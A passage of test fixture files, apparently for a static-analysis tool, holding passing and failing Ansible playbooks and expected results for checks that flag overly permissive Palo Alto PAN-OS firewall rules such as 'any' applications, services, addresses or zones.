    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n        # log_end not specified, default is true which is a pass\n\n    - name: Security_rule_pass_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['10.10.10.1']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_end: true # log_end specified as true which is a pass\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoApplicationAny/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4\"\nevaluated_keys:\n  - \"application\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoApplicationAny/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['any'] # Application is any\n        service: ['service-https'] \n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['Any'] # Application is any, with uppercase\n        service: ['service-https'] \n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_3\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: [''] # Application is empty\n        service: ['serice-https']\n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_4\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        service: ['service-https'] \n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n        # No application provided, defaults to 'any' which is a fail\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoApplicationAny/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl'] # Single application provided\n        service: ['service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['web-browsing', 'ssl'] # Multiple applications provided\n        service: ['service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoDSRI/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\nevaluated_keys:\n  - \"disable_server_response_inspection\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoDSRI/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        disable_server_response_inspection: true\n        action: 'allow'\n        description: 'The description'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoDSRI/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        disable_server_response_inspection: false\n        action: 'allow'\n        description: 'The description'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        action: 'allow'\n        description: 'The description'\n        log_setting: 'default'\n        # No explicit disable_server_response_inspection parameter, therefore uses default: false, which passes the check\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoServiceAny/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4\"\nevaluated_keys:\n  - \"service\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoServiceAny/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['any'] # Service is any\n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['Any'] # Service is any, with uppercase\n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_3\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: [''] # Service is empty\n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_4\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        action: 'allow'\n        description: 'Good description goes here'\n        log_setting: 'default'\n        # No service provided, defaults to 'any' which is a fail\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoServiceAny/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-https'] # Single service provided\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https'] # Multiple services provided\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcAnyDstAny/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_3\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_4\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_5\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_6\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_7\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_8\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_9\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_10\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_11\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_5\"\nevaluated_keys:\n  - \"source_ip\"\n  - \"destination_ip\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcAnyDstAny/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['any']\n        destination_ip: ['any']\n        # Source and destination IP are 'any'\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        # Source IP and destination IP are not provided, defaults to 'any'\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_3\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['any']\n        # Source IP is 'any' and destination IP is undefined and defaults to 'any'\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_4\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        destination_ip: ['any']\n        # Destination IP is 'any' and source IP is undefined and defaults to 'any'\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_5\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['']\n        destination_ip: ['']\n        # Source and destination IP are empty\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcAnyDstAny/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        # Source and destination IP addresses provided\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['1.1.1.1', '2.2.2.2']\n        destination_ip: ['10.10.10.10']\n        # Source and destination IP addresses provided, multiples\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_3\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10', '10.10.10.11']\n        # Source and destination IP addresses provided, multiples\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_4\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['1.1.1.1','2.2.2.2']\n        destination_ip: ['10.10.10.10', '10.10.10.11']\n        # Source and destination IP addresses provided, multiples\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_5\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['host_a']\n        destination_ip: ['host_b']\n        # Source and destination provided, object names instead of IP addresses\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_6\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['1.1.1.1']\n        destination_ip: ['any'] # Only destination IP is any, source IP is provided\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_7\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['1.1.1.1']\n        # Only destination IP is not provided (defaults to 'any'), source IP is provided\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_8\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['1.1.1.1']\n        destination_ip: ['']\n        # Only destination IP is empty, source IP is provided\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_9\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['any']\n        destination_ip: ['1.1.1.1']\n        # Only source IP is any, destination IP is provided\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_10\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        destination_ip: ['1.1.1.1']\n        # Only source IP is not provided (defaults to 'any'), destination IP is provided\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_11\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        source_ip: ['']\n        destination_ip: ['1.1.1.1']\n        # Only source IP is empty, destination IP is provided\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcZoneAnyNoDstZoneAny/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_3\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_4\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_5\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_6\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_7\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_8\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_9\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_10\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4\"\n  - \"tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_5\"\nevaluated_keys:\n  - \"source_zone\"\n  - \"destination_zone\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcZoneAnyNoDstZoneAny/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_fail_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['any']\n        # Source and destination Zone are 'any'\n        source_ip: ['1.1.1.1']\n        destination_ip: ['2.2.2.2']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        # source_zone: ['any']\n        # destination_zone: ['any']\n        # Source zone and destination zone are not provided, defaults to 'any'\n        source_ip: ['1.1.1.1']\n        destination_ip: ['2.2.2.2']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_3\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        # destination_zone: ['any']\n        # Source Zone is 'any' and destination Zone is undefined and defaults to 'any'\n        source_ip: ['1.1.1.1']\n        destination_ip: ['2.2.2.2']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_4\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        # source_zone: ['any']\n        destination_zone: ['any']\n        # Destination Zone is 'any' and source Zone is undefined and defaults to 'any'\n        source_ip: ['1.1.1.1']\n        destination_ip: ['2.2.2.2']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_fail_5\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['']\n        destination_zone: ['']\n        # Source and destination Zone are empty\n        source_ip: ['1.1.1.1']\n        destination_ip: ['2.2.2.2']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcZoneAnyNoDstZoneAny/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  connection: local\n  gather_facts: false\n\n  vars:\n    device:\n      ip_address: \"{{ ip_address }}\"\n      username: \"{{ username | default(omit) }}\"\n      password: \"{{ password | default(omit) }}\"\n      api_key: \"{{ api_key | default(omit) }}\"\n\n  tasks:\n    - name: Security_rule_pass_1\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['outside']\n        destination_zone: ['inside']\n        # Source and destination Zone addresses provided\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_2\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['outside','b2b']\n        destination_zone: ['inside']\n        # Source and destination Zone provided, multiples\n        source_ip: ['1.1.1.1', '2.2.2.2']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_3\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['outside']\n        destination_zone: ['inside','trusted']\n        # Source and destination zone addresses provided, multiples\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10', '10.10.10.11']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_4\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['outside','b2b']\n        destination_zone: ['inside','trusted']\n        # Source and destination zone addresses provided, multiples\n        source_ip: ['1.1.1.1','2.2.2.2']\n        destination_ip: ['10.10.10.10', '10.10.10.11']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_5\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['outside']\n        destination_zone: ['any']  # Only destination zone is any, source zone is provided\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_6\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['outside']\n        # destination_zone: ['inside']\n        # Only destination zone is not provided (defaults to 'any'), source zone is provided\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_7\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['outside']\n        destination_zone: ['']\n        # Only destination zone is empty, source zone is provided\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_8\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['any']\n        destination_zone: ['inside']\n        # Only source zone is any, destination zone is provided\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_9\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        # source_zone: ['outside']\n        destination_zone: ['inside']\n        # Only source zone is not provided (defaults to 'any'), destination zone is provided\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n\n    - name: Security_rule_pass_10\n      paloaltonetworks.panos.panos_security_rule:\n        provider: '{{ provider }}'\n        rule_name: 'Test rule'\n        source_zone: ['']\n        destination_zone: ['inside']\n        # Only source zone is empty, destination zone is provided\n        source_ip: ['1.1.1.1']\n        destination_ip: ['10.10.10.10']\n        category: ['any']\n        application: ['ssl']\n        service: ['service-http', 'service-https']\n        description: \"A nice rule\"\n        action: 'allow'\n        log_setting: 'default'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosZoneProtectionProfile/expected.yaml",
    "content": "pass:\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_pass_1\"\nfail:\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_fail_1\"\n  - \"tasks.paloaltonetworks.panos.panos_zone.Zone_fail_2\"\nevaluated_keys:\n  - \"zone_profile\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/PanosZoneProtectionProfile/fail.yaml",
